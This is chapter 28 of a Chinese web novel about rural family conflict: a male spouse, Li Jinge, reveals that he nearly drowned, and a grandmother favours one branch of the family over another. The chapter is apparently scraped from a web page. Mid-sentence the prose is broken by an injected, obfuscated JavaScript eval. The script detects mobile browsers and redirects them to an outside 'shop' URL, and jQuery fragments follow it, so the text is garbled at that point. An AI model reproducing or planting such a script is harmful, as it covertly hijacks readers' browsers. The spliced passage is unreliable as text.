28.第 28 章

作品:《后爹门前好种田

    第28章


    “你离开这几日,家里是出了点事。


    我下河一趟,差点溺死。


    所以这几日我都在将养,给我活我也干不了。


    甭管娘说什么,你都得心中有数。


    再就是,这些事,我希望你能自己去村里打听。


    毕竟甭管是爹娘,还是老大那边,他们说的都很片面。


    别的我也不多说,你只想想,你回家都这么久了,家里可有谁跟你说过,我差点出事,一只脚都进了鬼门关?”


    说着,李瑾歌就开了门。


    叫徐老二出去。


    又低声道:“娘偏心大房一家,这是娘自己愿意。


    娘叫你出力,也是你自己愿意的。


    可我不愿意,家里甭管是谁,都别想管我。


    我跟你成亲,只对你好,对孩子好,便是天王老子来了,也挑不出我的理。”


    “也得孝顺。”


    徐老二低声道。


    李瑾歌笑了下,“那确实,你放心,我会想法子叫娘舒坦的。


    这会子你去帮忙烧饭,再喊老大起来。


    要是老大不愿意,你就叫他去河边替大嫂洗衣服。


    要不然就叫娘去洗衣服,叫大嫂回来烧饭。


    老大那样的人最是要面子,他不会去外面的……”


    叫李瑾歌这么一说,就好像很轻松似的。


    不过徐老二还是道:“那是我大哥。”


    “再是大哥,也得过日子,难道今晚上不吃饭了?”李瑾歌直接推了把徐老二,把他推出去,又立马关上厢房的门。


    这会子已经是半下午,再过一会子就得天黑。


    有些勤快的人家都已经开始烧饭了。


    这样就能趁着天还没黑,赶忙吃饭,不用摸黑吃饭,也不用浪费灯油点油灯。


    要么外头徐老太着急烧饭。


    徐老二去喊徐老大,要去灶房烧饭。


    徐老大自然不愿意,还振振有词的,“爷们烧什么饭?”


    还挺有规矩。


    徐老二就道:“大嫂那边衣服怕是洗不完,要不你去帮忙?”


    “不去。


    那都是妇人的活计,爷们不干。


    我这在地里干了一天活,你去看看,我一个人干的,你嫂子三个人都比不上!”


    他干活多,出力大。


    所以家里这些活都不会伸手。


    那这就是说不通了。


    徐老二没法子,只能自己来灶房打算要帮忙。


    徐老太不愿意。


    徐老二就道:“大嫂那边衣服多,忙不过来。


    要不娘你去帮忙,叫大嫂回来烧饭?”


    “我不去!”徐老太一口回绝。


    三慧屋里的衣服本来就脏的叫人下不去手,更别说还有好几件屎裤子,那更脏,三两下都洗不干净,得洗很久才能洗干净。


    不过徐老太看了眼二房那边,就道:“叫他来!”


    是说李瑾歌。


    徐老二就道:“他前几日才下水……”


    说着就看徐老太的脸色。


    徐老太一听这个,脸色顿时就不自然了,而且眼神躲闪,不敢看徐老二。


    嘴上倒是似乎理直气壮似的说着,“那能有什么,就是故意的。


    你可别听他的,活不肯干,嘴皮子倒是利索。”


    大约是因为先前李瑾歌说的话,叫徐老二先入为主。


    这时候他确定了一件事。


    那就是李瑾歌确实是下水了。


    甭管是不是伤着了,或者怎么着,李瑾歌确实下水了。


    而自己回到家里这么久了,家里任何人都没对他说过这件事。


    甭管李瑾歌如何,那也是跟他成亲,并且两个人一块过日子,某些时候很契合,也很默契,那也是徐老二打算一块度过后半辈子的人。


    他是在意的。


    “叫他歇着吧,我来。”徐老二干脆道。


    这下子徐老太虽然脸色还是不好看,嘴里又是骂骂咧咧的,但是竟然没坚持叫李瑾歌出来烧饭,只是叫徐老二在外面歇着。


    去灶房拿了碗舀粮食。


    也不多,看样子今晚上是打算熬粥。


    徐老二也没回屋,就在院子里看着。


    心里头就很清楚。


    如果今晚上是张氏,或者李瑾歌烧饭,那叫徐老太去舀粮食,她就会骂骂咧咧的,而且不肯多舀,害怕张氏偷吃,就得自己在边上盯着。


    舀的粮食少,能吃饭的时候,一家子人就不太够吃。


    到时候徐老太拿着碗给舀饭,那势必就得有人少吃,又得是一箩筐的官司。


    以前徐老二并不在意这些事。


    兴许是今儿个李瑾歌叫他出来烧饭,他又不是傻的,就下意识想到这些了。


    灶房屋里,徐老太骂骂咧咧的烧饭。


    二房的厢房这边,就隔着一道墙。


    是石头墙,当中有些缝隙虽然还有泥巴堵着,不过灶房那边的动静,这边要是仔细听的话,其实是能听清楚的。


    李瑾歌坐在炕上,就当没听到这些。


    三志靠过来,“小爹,方才我吃了一个鸡蛋。”


    “我也是。”


    “我也是。”


    二志和三志也都赶忙凑过来。


    “真好。”李瑾歌笑起来,“你们爹有说过,这事儿不能跟人说吗?”


    “说了。”三志赶忙道,“爹说,不能叫人知道,要不然就没有鸡蛋吃了。


    不过我知道,鸡蛋是小爹弄的,要不然我们没有鸡蛋吃!”


    一副李瑾歌很有本事的样子。


    小孩就这样,有时候对于大人来说,只做了很小的一件事,可对于小孩来说,就好像是天大的事情似的。


    灶房那边,徐老太骂骂咧咧的。


    三志听了,就问:“小爹,上午剩下的鸡肉和鸡汤,都叫大慧吃了。


    奶都不生气,还给大慧熬药。


    鸡肉给藏大伯屋里……”


    虽然三志才三岁,可他眼睛明亮,自己会看,也会想。


    尽管不知道长辈偏心这样的说法,可也知道这些事叫他不舒服。


    李瑾歌就道:“鸡是家里的,你奶说了算。


    她想怎么着就怎么着。


    咱们都是小辈,得听奶的。


    不过那些鸡肉,我不也是想了办法,弄了点咱们自己吃。


    还有这几个鸡蛋,也是想法子省下来的……”


    “哦。”三志点头。


    不过是有些懵懂。


    李瑾歌说的,这就比较复杂了,又是得听长辈的,又是得自己想法子弄吃食,对于三志这么大的孩子来说,他感觉这很难办到。


    就是二志,那也是懵懵懂懂。


    倒是大志到底是年纪大一些,自个儿想了想,就低声道:“小辈得听长辈的,这叫孝顺。


    可那些吃


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178364|195802||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    食,咱们要是吃不到,就得饿肚子。


    总得想法子吃点,要不然饿死怎么办!”


    李瑾歌就笑。


    虽然不至于饿死,真要是谁家明明有粮食,结果有小辈饿死了,村里得有不少人背地里戳脊梁骨,而且这家名声也就差了。


    不过道理确实是这样的。


    任由长辈偏心,那就会有人吃亏,怕是一年到头都吃不到好东西,不至于饿死,可也别想活得舒坦。


    “等会子你们奶烧好饭,我去给舀饭。”李瑾歌低声道,“这会子也不算农忙,用不着非得吃饱。


    咱们就都吃一样的……”


    “奶肯定不愿意。”大志说着就忍不住撇嘴,“奶说我不干活,有口汤喝就行了。


    半碗汤,我根本喝不饱。”


    “咱们都吃一样的。


    要是你们奶不愿意,那咱们就自己想办法。”李瑾歌摸了摸大志的脑袋,“没法子叫你吃饱,可至少不能比旁人吃得少。”


    至少吃饭的时候,明面上不能叫二房的孩子亏了。


    看大房的大慧三兄弟,个个都长得十分壮实,那就没饿着肚子过。


    不都是徐老太偏心,顿顿饭都得给吃干的,平时还时不时的偷摸给些吃食。


    估摸着动静,李瑾歌就赶忙出了门。


    奔着灶房就去了。


    徐老太还在灶房,瞧见李瑾歌就气不打一处来。


    骂骂咧咧的。


    “你来做什么?


    真是欠了你的!


    也不干活,就知道吃!”


    “娘,我来舀饭。”李瑾歌就当没听到这些不好听的,只管干自己的。


    不过也没进屋。


    徐老太在屋里,拿着勺子挥舞,“你别进来。


    老二、老二,你过来按着他,别叫进来!”


    又喊徐老二。


    徐老二听到这动静,干脆回了厢房屋里,他就算是不能帮李瑾歌,可也不能跑去帮徐老太,要不然李瑾歌那边肯定不愿意。


    索性躲了。


    倒是徐老大听到动静出来了,瞧见李瑾歌这样,就皱眉道:“叫娘烧饭,你歇着,不像话!


    现在又想闹腾什么?


    我看就是打轻了。”


    也是喊了声徐老二。


    没听到徐老二的动静,还以为徐老二没在家,徐老大干脆出了门,要去找徐老二。


    不过徐老大才出门,就立马回来了,跟他一块的,还有个尖嘴猴腮的爷们,个头矮,黑瘦黑瘦的,模样也不好看,笑起来脸上的皱纹特别多,明明年纪不算大。


    嘴皮子倒是利索。


    一进门就吆喝起来,“喜事,大喜事。


    我爹今儿个就去给问好了,人家那边愿意明儿个就来相看。


    叫我来问问,咱家愿意不愿意。


    要是愿意,我爹今晚上就去跟人家说,明儿个就叫来。”


    听到这动静,徐老太顾不上灶房屋里了,赶忙跑出来。


    来人是赤老头的儿子。


    这是专门跑来送信的。


    “愿意,那肯定是愿意的!”徐老太赶忙道。


    说完了,又张罗道,“快进屋歇一歇,喝口茶……”


    屋里虽然烧好饭了,不过只是稀粥,徐老太也没敢说要留下吃饭。


    赤老头儿子赶忙摆手,“叫你们知道就行了,既然愿意,那我得赶紧回去。


    人家那边还等着信的……”